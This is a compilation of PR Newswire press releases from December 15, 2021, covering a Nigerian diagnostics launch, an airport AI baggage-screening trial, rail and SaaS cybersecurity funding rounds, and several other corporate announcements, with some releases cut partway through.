diagnostic hubs fitted with state-of-the-art technology will offer healthcare providers and patients access to world-class, cost-effective, speedy, reliable and advanced molecular diagnostics. Sample collection centres with over 100 employees are already open in Lagos, Abuja, Kano and Port Harcourt, with more centres due to launch in 10 major Nigerian cities in the coming months. Pan-African expansion for 7RiverLabs is also planned over the course of 2022. Since its launch in 2019, 54gene has driven genomics and molecular medicine throughout Africa. Formerly known as DiagnoseMe Africa, 7RiverLabs (named after the 7 major rivers on the continent), is designed to equalise precision medicine for African populations. Building on that vision, 54gene has domesticated diagnostic technology; eliminating the need for samples to be sent abroad for analysis, at a considerable cost to the patient. Physicians will now be able to detect and prevent diseases earlier, thereby helping to improve patients' treatment outcomes and quality of health. As part of its mission to establish itself as a principal provider of diagnostic care driven by ultra-modern technology, 54gene has appointed its Chief Business Officer, Jude Uzonwanne as the diagnostic arm's interim-CEO. Through the use of state-of-the-art laboratories and marked workflow improvements, over 300 critical molecular tests can now be performed safely and securely - covering oncology, infectious diseases, genetic testing and sequencing, anatomic pathology, clinical chemistry, microbiology, haematology as well as communicable and non-communicable diseases. With some tests costing as little as a few thousand Naira - generally more affordable than the prevailing market rates - results, depending on the complexity, are provided in as little time as a few hours to a few days and are sent digitally to patients' physicians for follow-up. On the launch of 7RiverLabs, 54gene Founder and CEO Dr. Abasi Ene-Obong commented, "Launching 7RiverLabs is a manifestation of one of the goals 54gene set out to achieve two years ago - to improve diagnostic and treatment outcomes on the continent. With the range of tests 7RiverLabs offers, millions of Africans can begin to take greater control of their health. Our goal with this new diagnostics arm is to ensure that every African has access to our hubs offering advanced laboratory tests without having to pay an exorbitant out-of-pocket fee. Patients will receive speedy results that will guide their physicians in reducing late diagnoses leading to poor chances of survival, improve their treatment options and ultimately their quality of life." Jude Uzonwanne commented, "7RiverLabs is complementing Government and industry efforts to attain the Nigerian Ministry of Health's mandate towards improved care for the general population. Hundreds of molecular tests will be made available for millions of people at a fraction of the cost of transporting samples overseas thereby helping to increase early disease-detection and screening rates and save lives. This is groundbreaking news for Nigeria; and as we forge trusted partnerships with leading health insurers, hospitals and healthcare professionals, we anticipate that hundreds more jobs will be created in our expansion of services across Africa". As of 2021, the addressable market for medical tests in Sub-Saharan Africa is currently worth US$10 billion. At present, the majority of molecular tests are sent outside of the continent; investment in this sector will see the market witness an expected average rate of more than 4% growth per annum. This will be directly linked to affordability, accurate diagnoses and lighting quick turnaround times - all of which 7RiverLabs is positioned to deliver not only in Nigeria, but across the continent. About 54gene 54gene is a health technology company centered on advancing the field of African genomics to unlock scientific discoveries as well as improve diagnostic and treatment outcomes within Africa and the global community. Founded in 2019, the company generates genetic insights from research cohorts in the world's most diverse populations to improve the development, availability and efficacy of therapeutics and diagnostics that will prove beneficial to all populations. Photo - https://mma.prnewswire.com/media/1709921/54gene_Launches_7RL.jpg Photo - https://mma.prnewswire.com/media/1709922/54gene_Logo.jpg SOURCE 54gene AGS Airports Ltd to trial new artificial intelligence-led technology at security sites in Aberdeen, Glasgow, and Southampton airports LONDON, Dec. 15, 2021 /PRNewswire/ -- Today, Pangiam, in collaboration with Google Cloud, announced details of Project DARTMOUTH, an initiative to transform airport security operations by looking for threats concealed within baggage and other shipments at the airport. Project DARTMOUTH will utilise Pangiam's technologies alongside Google Cloud's artificial intelligence (AI) and machine learning (ML) computer vision tools, such as their Vertex AI Platform. This technology will be tested within the security facilities of AGS Airport Ltd, owners and operators of Aberdeen, Glasgow, and Southampton Airports in the UK. The collaboration means that Pangiam's national security-grade technology and deep experience of managing aviation security threats will, for the first time, be boosted by Google Cloud's industry-leading suite of AI technologies. Project DARTMOUTH is intended to make air travel safer by integrating AI into airport baggage security and screening operations. The technology will in the first instance be focused on rapidly identifying potential threats in baggage, providing increased throughput at security checkpoints, addressing critical friction points in air travel as well as supporting security teams. In later phases the technology will scale to help tackle other pressure points in security and wider airport operations. AI and ML models will be trained to be able to detect prohibited items in real-time as bags pass through airport X-ray scanning equipment. It will also be used to spot anomalies and unusual patterns which could indicate a new or coordinated attempt to breach security, before alerting security staff to examine those items further. Alexis Long, Chief Strategy Officer for Pangiam said: "This technology marks a monumental step in bringing automation to aviation security and sets a new precedent for international security standards. First and foremost, the technology will deliver a better experience for the traveller, the airport, and governments. To help us achieve this, we have selected Google Cloud as our technology vendor of choicea leader in artificial intelligence and cloud technologies." Mark Palmer, Head of EMEA Public Sector, Google Cloud said, "We are delighted to collaborate with Pangiam on this ground-breaking initiative to protect AGS's network of passengers and customers. The power of artificial intelligence is boundless, and we look forward to improving the aviation industry at large." Commenting on the announcement, Chief Operating Officer of AGS Airports Ltd, Mark Johnston, said: "Google Cloud and Pangiam are world leaders in the artificial intelligence field, and we are pleased to be working in partnership with both organisations on a cutting-edge project that could have a transformative effect on the security of our passengers and colleagues. "Aviation is an industry that never stands still, and as one of the UK's biggest airport groups, we are continually looking at new ways to adapt and evolve. This is particularly the case when it comes to ensuring the safety and security of the millions of passengers we serve each year. We live in an ever-changing world with evolving threats and it is imperative that we continue to adapt and embrace new technologies that will enable frontline security teams to better deliver a seamless, safe, and secure customer experience." Project DARTMOUTH, named after the 1956 Dartmouth Summer Research Project on AI , widely considered to be the founding event of AI, has been in development for almost a year but was only announced publicly today. Project DARTMOUTH will enhance the screening of baggage and shipments and does not involve facial recognition technology. About Pangiam Pangiam is a public-private partnership company creating a network of industry partners aimed at revolutionising the future of operations, security, and safety at airports, seaports, and land crossings using emerging technologies. As a team of customs and security professionals with over 50 years of collective experience at senior levels of the U.S. and UK Government, Pangiam has an intimate understanding of the security, facilitation, and disaster response challenges facing governments and industry leaders around the world. About AGS Airports Ltd AGS Airports Limited was established in 2014 to invest in Aberdeen International, Glasgow and Southampton airports and is the second largest airport group in the UK. AGS Airports Limited is jointly held by Ferrovial (via Faero UK Limited) and AGS Airports International Sarl (a Luxembourg company that is majority owned by Macquarie European Infrastructure Fund 4 and managed by Macquarie Infrastructure and Real Assets (Europe) Limited). Media Contact: media@pangiam.com Related Links http://pangiam.com SOURCE Pangiam "We exist to improve the lives of patients and their families, by formulating efficient drugs, with a low side-effect profile, at a fair price," Co-Founder and CEO Martin Rose stated. With this investment, the company said it hopes to initiate clinical trials with a new drug candidate whilst also expanding its operations in Europe. "We strongly believe that Tetra Pharm is a hidden gem in the European cannabis space, located in the Medicon Valley, one of the leading life science clusters in Europe. The founders have unparallel pharmaceutical expertise to deliver on their vision to build a biotech leader in cannabinoid formulations. The Leafy Tunnel team is aligned with the founders' vision, and we look forward to seeing the company grow in the coming years," Nikolay Tretiyakov and Bek Muslimov, Founding Partners at Leafy Tunnel, stated. Tetra Pharm Technologies already closed several distribution deals across their main markets in Europe, but there a many more on their way, said Mr Rose. This is a perfect time for the company to grow with Prohibition Partners stating that the European market for Cannabinoid-based treatment is expected to reach 3.2B by 2025, with an exponential growth the coming years in a recent report. "Developing and releasing therapeutics to support the growing demand for cannabinoid-based medicines is not only an opportunity for our growth, it's also an opportunity for the millions of patients hoping to receive better drugs at a lower cost in the future," Tetra Pharm Technologies Co-Founder, Jesper Breum said. The company is expected to complete an expansion project in 2022, which will increase the company's product output by 1000%. "It's going to be an exciting year, with new facilities, clinical trials, and new products on the market. We are therefore really excited and grateful for the support from Leafy Tunnel and Enexis," Martin Rose stated. Photo - https://mma.prnewswire.com/media/1708310/Tetra_Pharm_Technologies_1.jpg Logo - https://mma.prnewswire.com/media/1708311/Tetra_Pharm_Technologies_Logo.jpg Contact: Martin Caspersen, cap@tetrapharm.eu, +45 61224241 SOURCE Tetra Pharm Technologies TEL AVIV, Israel, Dec. 15, 2021 /PRNewswire/ -- Cylus , the global leader in rail cybersecurity, announced today that it has raised $30M in a Series B round led by U.S. firm Ibex Investors and joined by Vertex Growth Fund , Strides International Business , Magma Venture Partners , Vertex Ventures Israel , Israeli serial entrepreneur Zohar Zisapel, who is a member of Cylus' board, and Glenrock Israel . This latest round brings the company's total funding to over $57M. In addition, in line with Cylus' expansion strategy in the US, William Heinrich, former CISO of Amtrak and BNSF Railway, and Mark Grant, former CISO of CSX Transportation, will join the company's advisory board. Rail systems are undergoing a digital revolution, becoming far more connected and advanced, and as a result, face a rapidly growing threat landscape. To combat this, lawmakers worldwide are calling for greater cybersecurity regulations and railway companies are demanding more robust cyber solutions. Set to reach over $10 billion in just five years' time, the demand for railway cybersecurity solutions is skyrocketing. CylusOne is the first-to-market, leading cybersecurity solution that offers continuous monitoring and real-time protection for the global railway industry. Cylus' solution provides 360-degree protection for all rail systems, regardless of size and geography, enabling real-time threat detection, advanced forensics and mitigation, simplified security operations and more. CylusOne takes just a few hours to install, requiring zero downtime, fully integrating with new and legacy systems with no changes to the network architecture required, providing full visibility within seconds. The company offers mainline and urban rail operators a complete real-time cybersecurity view that covers all levels from the network's entire topology down to the granular level of each and every asset of a railway system. "We have seen a massive wave of digitization in the railway industry over the last few years. Despite this being a very positive trend, it has also entailed an exponential expansion of the surface area hackers can access to penetrate railway networks - which could lead to serious outcomes in one of the most core modes of transportation and critical infrastructure," said Gal Gitter, Partner and Managing Director of Ibex Investors, who will now become a Cylus board member. "Cylus changes all of that by providing the most advanced and holistic cybersecurity platform for railway networks and operators. Cylus' platform is already in place across many of the world's leading railway operators, and we believe it will become the ubiquitous platform used across the industry. Together with its industry partners and collaborators, Cylus is on a mission to enable secure railway operations and travel for the years to come, and we could not be more excited to back them." "Cylus provides an essential element of protection to critical infrastructure that will enhance the safety and performance of train systems," said Vertex Growth Fund Managing Director TAM Hock Chuan. "Vertex Growth is proud to help back Cylus' technology, which we believe offers the most comprehensive solution for rail cybersecurity on the market today." With rising government investment in critical infrastructure and growing cybersecurity regulations in the US, Cylus will use the current funding to fuel its growth in North America, as well as across Europe and Asia Pacific. "The railways are such an essential part of our critical infrastructure, and really, of our everyday lives, that it is crucial that this industry gets the level of cyber protection it demands, and needs," said Amir Levintal, CEO and Co-founder of Cylus. "This tremendous vote of confidence from our leading global investors and partners will allow us to continue to provide best-in-market cybersecurity for this high growth market as we onboard more customers and partners worldwide." About Cylus Cylus is the global leader in rail cybersecurity, delivering advanced solutions to protect mainline and urban railway companies from a wide array of threats and risks. Leading rail companies and operators use CylusOne to prevent safety incidents and service disruptions caused by cybersecurity events, without requiring any modifications to the network. With an unparalleled IP portfolio and dozens of deployments around the world, Cylus has established itself as the pioneer and leading provider of rail cybersecurity. The company was founded in 2017 by seasoned experts in cybersecurity, machine learning, traffic management, signaling and onboard train systems, and is currently deployed in the largest rail systems around the world. across N. America, APAC and EMEA. For more information, visit Cylus' website: https://www.cylus.com/ Media Contact Gavriella Weinreb Headline Media [email protected] +1 914 775 5135 SOURCE Cylus ~ The investment will be instrumental in accelerating the growth of flagship brands Fast&Up and Chicnutrix ~ MUMBAI, India, Dec. 15, 2021 /PRNewswire/ -- Fullife Healthcare raised its Series C funding of over US$22 million by Morgan Stanley Private Equity Asia (MSPEA). Fullife Healthcare is the pioneer manufacturer in effervescent technology for healthcare and nutraceutical products. The company owns flagship brands Fast&Up and Chicnutrix, which are the leaders in active nutrition and beauty respectively. Fullife Healthcare is one of the first Indian companies to take branded business outside India in the field of wellness and active nutrition. The company is dedicated towards manufacturing high-quality promising products that deliver performance, catering to the needs of its consumers. Nutraceuticals market in India is expected to grow at CAGR of 35% to reach $18 Bn by 2026, according to a report by ASSOCHAM. The industry has been growing at a rapid pace amid the pandemic globally wherein the market opportunity in India is projected to have an addressable base of 120 million health-conscious individuals by next year. This round of funding will support Fast&Up and Chicnutrix to expand their domestic presence, enhance manufacturing capabilities and accelerate momentum globally. Commenting on the occasion, Varun Khanna, CEO of Fullife Healthcare said, "It is amazing to have Morgan Stanley as a part of the narrative we are building at Fullife and our brands Fast&Up and Chicnutrix. We are building these brands at an international level even in several regulated markets as a first for Indian OTC brands. With our brands being available in multiple countries, we are excited about the story we are building and are grateful for the trust that MSPEA has put in us.' Nirav Mehta, Managing Director, MSPEA said, "MSPEA is very excited to invest into Fullife, which is carving a niche in the new-age nutrition, active lifestyle and wellness space through its novel effervescent and plant-based offerings. Fullife's key brands Fast&Up and Chicnutrix are already household names, and the company is well positioned to emerge as a leading global player in the space, backed by its wide product portfolio, in-house manufacturing capabilities, global business footprint and omni-channel distribution." Fullife Healthcare is a new-age business that boasts of a strong and young team which that the trust of stalwart investors such as Rakesh Jhunjhunwala, Sixth Sense Ventures, Kotak Securities and Akash Prakash along with MSPEA now. SOURCE Fullife Healthcare XLD Finance is a stablecoin-based ecosystem driving financial inclusion through real-world financial services. XLD's roadmap includes the development of both Web 2.0 and Web 3.0 projects such as its own stablecoin, a DeFi wallet, early wage access, and a simplified crypto onramp & offramp platform for crypto natives and the financially underserved. XLD Finance's first project, xSpend, allows users to immediately use their GameFi tokens or stablecoins to pay for necessities and utilities. xSpend will be available to users in Bangladesh , India , Indonesia , Malaysia , and the Philippines . MANILA, Philippines, Dec. 15, 2021 /PRNewswire/ -- XLD Finance has launched its first project, xSpend, allowing users to immediately use GameFi tokens or stablecoins to pay for necessities and utilities. Users with mobile numbers from Bangladesh, India, Indonesia, Malaysia and the Philippines can now use GameFi tokens and stablecoins to purchase mobile prepaid credits through the platform. Users can also pay Philippine-based billers for goods and services, a feature rolling out globally by 2022. xSpend is directly integrated with Web 3.0 wallets including Metamask and Ronin. The platform simply requires users to connect their crypto wallet, choose the token they want to spend, select the biller for the transaction, and input account details. Users can transact with USDT, USDC, DAI and SLP to pay over 350 companies including Globe (Philippines), PLDT (Philippines), Airtel (Bangladesh and India), Indosat (Indonesia), and AirAsia (Philippines). Users, particularly those from emerging markets, currently have to deal with complex offramping mechanisms, possibly leading to unsuccessful or fraudulent transactions. xSpend allows users to directly spend cryptocurrency assets through a secure and convenient platform based on updated market prices. "We are excited to help the lives of Play-to-Earn users and scholars by making it easier to spend crypto for necessities. Anyone can use their stablecoin or SLP to pay their bills in less than 3 minutes through their Metamask and Ronin wallets," said Ian Estrada, CEO of XLD Finance. XLD Finance aims to drive financial inclusion through real-world financial services. The decentralized finance (DeFi) community is welcoming a new and growing segment in play-to-earn gamers as many are unbanked. XLD wants to ensure that financial infrastructure on DeFi leaves nobody behind. XLD revealed that its ecosystem roadmap includes the development of both Web 2.0 and Web 3.0 financial solutions including its own stablecoin, a non-custodial DeFi wallet, and early wage access. Its next project is already underway with xMoney, a play-to-earn exchange that simplifies the offramping of tokens from a crypto wallet to mobile wallets, bank accounts, and even cash pickups. Visit https://xspend.finance to use the platform. SOURCE XLD Finance "Quinton is exactly the type of customer-centric, results-oriented leader we need with extensive experience in operations and process improvement across the financial services industry," said Ed Robinson, AAG President and Chief Operations Officer. "He is also a great fit culturally with his continuous improvement mindset." Most recently before joining AAG, Chapman served as Vice President of Operations for Genesis Financial Solutions. Prior to that, he was VP and National Director of Mortgage Processing, Closing, and Private Bank Fulfillment for Fifth Third Bank. Chapman is Six Sigma Black Belt and LEAN Certified for practical process improvement, having served as the Master Black Belt for Mortgage Servicing at PHH. Chapman is a graduate of Southern Virginia University with a Bachelor of Arts degree in Business Administration, Finance and Marketing. About AAG AAG is dedicated to helping older Americans find new ways to fund a better retirement through the responsible use of home equity. As the nation's leader in reverse mortgage lending, AAG offers a suite of home equity solutions including Home Equity Conversion Mortgages, traditional and proprietary mortgages, and real estate services that are designed to give seniors a better financial outcome in retirement. AAG is a proud member of the National Reverse Mortgage Lenders Association (NRMLA). To learn more about AAG and reverse mortgage loans, please visit the company's website at www.aag.com. American Advisors Group, NMLS ID: 9392, 18200 Von Karman Ave., Suite 300, Irvine, CA 92612. AAG Residential Services, Inc., 18200 Von Karman Ave., Suite 950, Irvine, CA 92612. Real estate broker, California Department of Real Estate, License number 02039087. AAGRS is performing acts for which a real estate license is required. Contact: Cindy Hearn [email protected] (949) 466-6302 SOURCE AAG WILMINGTON, N.C., Dec. 15, 2021 /PRNewswire/ -- Alcami Corporation, a leading pharmaceutical and biotech contract development and manufacturing organization (CDMO), announced today it has completed the acquisition of Masy Systems Inc. ("Masy" or "Masy BioServices"), a preferred provider of cGMP Biostorage and pharma support services. The financial terms of the transaction were not disclosed. "The acquisition of Masy adds complementary service offerings and further reinforces Alcami's ambitious growth and expansion initiatives," commented Patrick D. Walsh, Chairman and CEO of Alcami. Masy was founded in 1984 by entrepreneurs Laurie and John Masiello and operates three cGMP Biostorage facilities in Massachusetts, all within 1-hour of Boston and Cambridge, with a fourth facility coming online in early 2022. The company offers secure and tightly controlled cGMP temperature storage from -196C to 70C, including all ICH stability conditions, for various materials including vaccines, biopharmaceuticals, cell banks, tissues, compounds, and medical devices. The company's pharma support services include equipment calibration, large-scale validation and qualification projects, SenseAnywhere monitoring solutions, and validation and calibration equipment sales and rentals. Masy's additional pharma support service operations are located in California, Pennsylvania, New Jersey, and North Carolina. "We built an amazing company at Masy and are thrilled to partner with the Alcami team, as our combined resources and capabilities will result in enhanced support for our customers," commented Masy co-founder Laurie Masiello. In addition, Steve Lane will continue in his current executive leadership role at Masy and commented, "I look forward to the successful integration and continuing to build a strong and enduring business." Masy clients will gain immediate access to Alcami's comprehensive service offerings ranging from analytical development and testing to full drug product development and manufacturing, both sterile fill-finish and oral solid dose. Similarly, Alcami's extensive client base will have access to Masy's available and growing cGMP Biostorage capacity and extensive pharma support services. About Alcami: Alcami is a contract development and manufacturing organization headquartered in North Carolina with over 40 years of experience advancing products through every stage of the development lifecycle. Leveraging four US-based scientific campuses, Alcami serves pharmaceutical and biotech companies of all sizes providing customizable and innovative solutions for analytical development, clinical to commercial sterile and oral solid manufacturing, packaging, microbiology, and environmental monitoring services. Alcami's private equity ownership includes Madison Dearborn Partners and Ampersand Capital Partners. For more information, please visit alcaminow.com. About Masy BioServices: Masy, founded by John and Laurie Masiello in 1984, has provided quality solutions to the life sciences community for nearly 40 years and meets rigorous qualifications for NVLAP accreditation to ISO 17025:2017 as well as ISO 9001:2015 certification. Services include calibration of primary standards and critical test equipment; validation and IQ/OQ/PQ of environmental chambers, autoclaves, and thermal warehouse mapping; and lab equipment rentals and sales. Masy offers premier cGMP biorepository options, with secure and tightly controlled temperature storage from -196C to 70C, including all ICH stability conditions, for various materials including vaccines, biopharmaceuticals, cell banks, tissues, compounds, and medical devices. For more information, please visit masy.com. SOURCE Alcami Corporation Related Links http://www.alcaminow.com TEL AVIV, Israel, Dec. 15, 2021 /PRNewswire/ -- Atmosec , the SaaS security venture, announced today its official launch out of stealth as well as the completion of a $6 million seed funding round, led by Glilot Capital Partners and Battery Ventures, with additional funding from the Co-Founders of Armis, Yevgeny Dibrov (CEO) and Nadir Izrael (CTO); Wiz Co-Founder and CEO, Assaf Rappaport and Ofer Ben-Noon, Co-Founder and CEO of Talon Cyber. Connecting third-party services such as Slack, Dropbox, Google Workplace, ServiceNow and many others are necessary for growth, but this rapid expansion is often so fast and chaotic that monitoring new software, assessing risk of new connections and managing their cybersecurity posture is unfeasible. This chaotic and ever-expanding SaaS ecosystem is also attractive to attackers who exploit these often-unmonitored connections and seemingly legitimate business interactions, making it harder for CISOs and CIOs to properly protect their organizations. Atmosec was founded to help companies of all sizes overcome this challenge. By understanding the behavioral approach of applications, Atmosec uses contextual analysis to monitor the behavior of the applications themselves. This enables Atmosec to understand what is really occurring between numerous applications from a behavioral standpoint, allowing for the rapid detection of anomalies that can be handled swiftly by organizations. Cloud-native enterprises and those transitioning to the cloud are looking to elevate their visibility and illustrate that they are in control of their growing SaaS ecosystem - this is why we created Atmosec," said Aner Gelman, Co-founder and CEO of Atmosec. "We have the unique ability to consider the actual behavior of SaaS platforms, which is not a focus of conversations today." "We recognize a trend of security professionals prioritizing Saas Security solutions," said Kobi Samboursky, Founder and Managing Partner at Glilot Capital Partners. "Atmosec has developed a solution that bridges the gap in securing this SaaS ecosystem, protecting cloud-enabled businesses from increasingly advanced attacks on SaaS services." "Organizations today rely on an ever-growing number of SaaS applications to run their businessesso in many ways it's surprising that many have inadequate systems to manage third-party risk," said Adi Dangot Zukovsky, of Battery Ventures. "Atmosec is addressing this critical problem with new technology that provides cloud-native enterprises with greater visibility into their existing systems and helps them lower the risk of outsiders exploiting their third-party business applications and app-to-app connectivity paths." About Atmosec Atmosec provides a SaaS security solution to help companies detect anomalies and proactively protect their SaaS ecosystem. Atmosec's SaaS security approach takes the contextual analysis of behavior between SaaS services. It automates the prevention of exploitable interactions to identify actual and potential threats, thus enabling IT to grow its hyperconnected SaaS ecosystem with confidence. Atmosec was founded in 2021 by army intelligence veterans and former senior leaders at Armis, Aner Gelman, Misha Seltzer, and Shaked Gitelman and participated in Intel's startup growth program, Intel Ignite. To learn more about how well all of your connected services are behaving, visit our website or get in touch . Media Contact: Laura Raanan GK for Atmosec [email protected] SOURCE Atmosec Ltd. Related Links https://www.atmosec.com/ Headquartered in Markle, IN, Novae is one of the fastest-growing and well-respected trailer manufacturers in North America, operating six distinct brands including Sure-Trac , H&H Trailers , CAM Superline , Trailerman, ITI Cargo and Midsota . Novae has grown both organically and through acquisitions to become the second largest trailer manufacturer in North America. Novae currently has more than 1,100 employees, 15 manufacturing facilities and maintains an active dealer network of more than 500 partners. "The mission and values that Steve and his team at Novae built over 25 plus years have been critical to the Company's growth and reputation for best-in-class products among dealers and end customers," said Matthew Allard, Partner at Brightstar. "We are extremely excited to partner with Novae and execute on our 'Us & Us' model to accelerate the Company's success in this expanding and fragmented industry." "We appreciate everything the Novae team has done to make this one of the best years in the Company's history. Our team has worked tirelessly to consistently deliver on our promises despite the global pandemic." said Steve Bermes. "We look forward to partnering with the Brightstar team to take advantage of their operational expertise and relationship networks to continue Novae's growth trajectory." "The demand for professional trailers has been growing at an increasing rate, and Novae is well-positioned to capture this growth as one of the fastest-growing and customer-centric companies in the industry," said Reidar Brekke, Partner at Brightstar. "The Novae team's operational expertise, strong character and consistent work ethic embody the type of companies and management teams we invest in." "As a business that is dedicated to making quality products, delivering great service, and respecting our employees, customers, suppliers and community, we are pleased to partner with a firm that shares our values," said Chris Storie. "We are confident that, with Brightstar's support, Novae will remain committed to our core principles as we achieve continued success." Fredrikson & Byron, P.A. is acting as legal advisor to Brightstar with Jefferies LLC, Keybanc Capital Markets, Inc., and Nomura Securities International, Inc., acting as financial advisors. Faegre Drinker Biddle & Reath LPP is acting as legal advisor to Novae Corp. with Fifth Third Securities, Inc. acting as exclusive financial advisor. About Novae Corp. Headquartered in Markle, IN, Novae is one of the fastest growing and well-respected trailer manufacturers in North America, operating six distinct brands including Sure-Trac, H&H Trailers, CAM Superline, Trailerman, ITI Cargo and Midsota. Founded in 1995, Novae has grown both organically and through acquisitions to become the second largest trailer manufacturer in North America. Novae currently has more than 1,100 employees, 15 manufacturing facilities and maintains an active dealer network of more than 500 partners. For more information, please visit www.novaecorp.com. About Brightstar Capital Partners Brightstar Capital Partners is a middle market private equity firm focused on partnering with exceptional families, founders, entrepreneurs and management teams where the firm is ideally positioned to drive value creation. Brightstar employs an operationally intensive approach that leverages its extensive experience and relationship network to help companies reach their full potential. For more information, please visit www.brightstarcp.com. Media Contacts For Brightstar: Zach Kouwe/Shree Dhond Dukas Linden Public Relations [email protected] 212-704-7385 SOURCE Brightstar Capital Partners NEW YORK, Dec. 15, 2021 /PRNewswire/ -- M3 Partners, LP, ("M3") a leading independent corporate advisory firm, today announced that Javier Schiffrin has joined the firm's team of advisory, restructuring, turnaround and performance improvement veterans as Managing Director, effective immediately. Mr. Schiffrin brings deep expertise in debt restructurings, having participated in complex financial transactions as a principal investor, investment banker and corporate lawyer. Mo Meghji, founder and Managing Partner of M3, said, "Javier is an outstanding addition to our roster of senior professionals who provide the highest level corporate and financial expertise. The firm was founded to help clients overcome their most pressing challenges by bringing targeted teams with relevant industry and situational expertise to every engagement. With 20 years of experience in restructuring and distressed situations in roles ranging from financial to legal, Javier sees all angles and will bring tremendous value to our clients." The M3 team has led more than 250 engagements, including some of the most significant restructurings in the market. In recent years, M3 has served as Chief Restructuring Officer for, among others, Sears, Barneys New York, Sanchez Energy, Seadrill Partners, Sable Permian Resources, Houlihan's Restaurants and Relativity Media. M3 has also played a central role in some of the most complex corporate restructurings, including Neiman Marcus, JCPenney, Paper Source, Mallinckrodt Pharmaceuticals, J.Jill and Tailored Brands, and is serving as financial advisor to the City of Long Beach, New York. Prior to joining M3, Mr. Schiffrin was a senior vice president at hedge fund Paulson & Co., where he focused on U.S. and European public distressed debt investments as a member of the credit fund and managed the financing component of private sponsor transactions. Prior to that, Mr. Schiffrin was at Macquarie as a director on the distressed debt trading desk and at UBS, where he served in the restructuring and leveraged finance group. Between 2000 and 2006, Mr. Schiffrin worked as a corporate lawyer at Cravath, Swaine & Moore LLP and as a restructuring lawyer at Kirkland & Ellis LLP. Mr. Schiffrin received a J.D. from Columbia University School of Law, where he was a James Kent Scholar, and a B.A. with first class honors in History from McGill University. He is admitted to the bar in the State of New York. "The past 20 months have brought unprecedented challenges to companies everywhere. While fiscal policy has provided a lifeline to many, we believe the long-term effects will come into focus in the next 12 to 24 months. Companies will need to shift from survival back to growth mode, as they manage liquidity and maximize value all within a changing operating environment. M3 is ready to help companies develop and implement the solutions they need to rationalize their balance sheets and to improve their operating performance," Mr. Meghji concluded. M3 applies its financial and operational expertise to align interests of disparate stakeholders to maximize value. Its team of more than 50 professionals has a track record of success in working alongside or across from the largest lenders, private equity sponsors, hedge funds, investment bankers, and legal advisors in the industry. About M3 Partners M3 is a leading, independent corporate advisory firm that provides operational, strategic, and financial solutions to a broad range of clients. M3's clients look to the firm for financial advisory services, performance improvement, and operational diligence during all stages and market cycles, and the firm is also called on to lead as interim management. M3 is well versed in navigating sensitive corporate situations and the firm has a demonstrated track record of achieving successful outcomes for clients, including in some of the most significant recent restructurings in the market. M3's engagement teams are led by senior turnaround veterans with decades of combined experience across key verticals. M3-partners.com Media contact M3 Partners, LP Kristin Celauro 212-202-2223 [email protected] or Lambert & Co. Jennifer Hurson 845-507-0571 [email protected] SOURCE M3 Partners, LP GREEN ISLAND, N.Y., Dec. 15, 2021 /PRNewswire/ -- Ecovative , the mycelium technology company, today announced the launch of an international sustainable fashion cooperative, with global brands BESTSELLER and PVH Corp. [NYSE: PVH] as founding members. Through the cooperative, these brands will have priority access to Ecovative's mycelium innovations through its Forager Hides platform and will work directly with the Ecovative team to co-develop custom mycelium materials for a range of end products and consumer applications. The global innovation platform Fashion for Good was integral in bringing these parties together to advance a petroleum-free vegan leather. BESTSELLER and PVH Corp. share Ecovative's commitment to sustainable fashion. Their designers will work in tandem with Ecovative's team of engineers and mycologists to create mycelium solutions for their products. Members in the Fashion for Good Cooperative will bring their fashion industry expertise to work with Ecovative in a design, build and test research and development strategy. Together, the cooperative will develop mycelium materials for the consumer market. "At PVH we are excited to explore innovations that reduce the environmental impact of our products," said Rebecca England, VP Innovation, PVH Europe. "Mycelium provides us with an opportunity to respond to growing consumer interest in lower impact products while supporting quality and design that meet the needs and expectations of our consumers - in this case, made with 100% bio-based resources. We look forward to testing and learning alongside our partners to create scalable, sustainable solutions." "Mycelium shows great potential in the fashion innovation sphere it even extends far beyond our own industry. We are keen on diving into the product development phase and really understanding the aesthetics and actual performance of Ecovative's innovative materials in the lab," said Anders Schorling Overgard, BESTSELLER's Sustainable Materials Engineer. "This pilot enables us to gain more insight into mycelium as a leather alternative, which ultimately is both biodegradable and fully bio-based." Ecovative has more than a decade of experience producing mycelium materials for partners throughout North America, Europe and Asia. The company launched Forager Hides, its alternative leather material, in March 2021. Forager Hides are based on Ecovative's second-generation mycelium material, building on more than five years of research and development in Ecovative's Mycelium Foundry. The 100 percent bio-based mycelium material is grown in sheets up to 24 meters in length and 1.8 meters wide, and can be grown to partners' specific needs in terms of tensile strength, density and fiber orientation. The entire growth process takes only 9 days and yields a ready-to-finish material free of plastic scrims and petroleum based coatings. "By marrying innovation with legacy, we can focus on what we do better than anyone else in the world growing the best mycelium at commercial scale," said Gavin McIntyre, Ecovative Co-Founder and Chief Business Officer. "Working directly with fashion brands and tanneries, we make beautiful, high-performing and sustainable materials without harming animals or the planet." From soft and supple leather accessories and garments to durable and thick belts and shoes, Ecovative scientists are able to fine-tune their product to meet a wide array of end product needs. "Biomaterials have been in development for years, but they have yet to reach even a small portion of customers," said Katrin Ley, Managing Director of Fashion for Good. "Ecovative has been focused on scaling its technologies to deliver mycelium at the scale necessary for industry leaders like BESTSELLER and PVH Corp.. This is an exciting development in the drive to scale up these solutions and increase accessibility." About Ecovative: Ecovative is a materials science company unlocking the natural potential of mycelium with modern technology. Founded in 2007, Ecovative's mission is to create next generation materials through mycelium biofabrication and to make mycelium materials accessible to everyone. Leveraging its Mycelium Foundry, Ecovative works with partners throughout the textiles, food and packaging industries to grow better materials for everyday needs. To learn more, visit http://www.ecovative.com/ . About Forager Hides: Forager Hides, launched in March 2021, are Ecovative's second-generation mycelium material designed to solve the sustainability challenges in the fashion industry. The latest innovation from Ecovative's is its high-throughput Mycelium Foundry that allows the modulation of tensile strength, density, and fiber orientation of the mycelium that comprise Forager Hides. Due to the compact and vertical design, the first farm is designed to produce 3 million square feet of leather-like material annually on only one acre of land. About PVH Corp.: PVH Corp. is one of the world's largest and most admired fashion companies, connecting with consumers in over 40 countries. Our global iconic brands include Calvin Klein and TOMMY HILFIGER. Our 140-year history is built on the strength of our brands, our team and our commitment to drive fashion forward for good. That's the Power of Us. That's the Power of PVH Corp.. About BESTSELLER: BESTSELLER is an international, family-owned fashion company with a range of more than 20 individual fashion brands such as ONLY, JACK & JONES and VERO MODA, available across most of the world. BESTSELLER aims to accelerate fashion's journey towards a sustainable reality with the ultimate ambition of bringing Fashion FWD until the company is climate positive, fair for all and circular by design. For more information, visit www.bestseller.com About Fashion for Good: Fashion for Good is a global platform for innovation, made possible through collaboration and community. At the core of Fashion for Good is their innovation platform. Based in Amsterdam with a satellite programme in Asia, the global accelerator programmes gives promising start-up innovators the expertise and access to 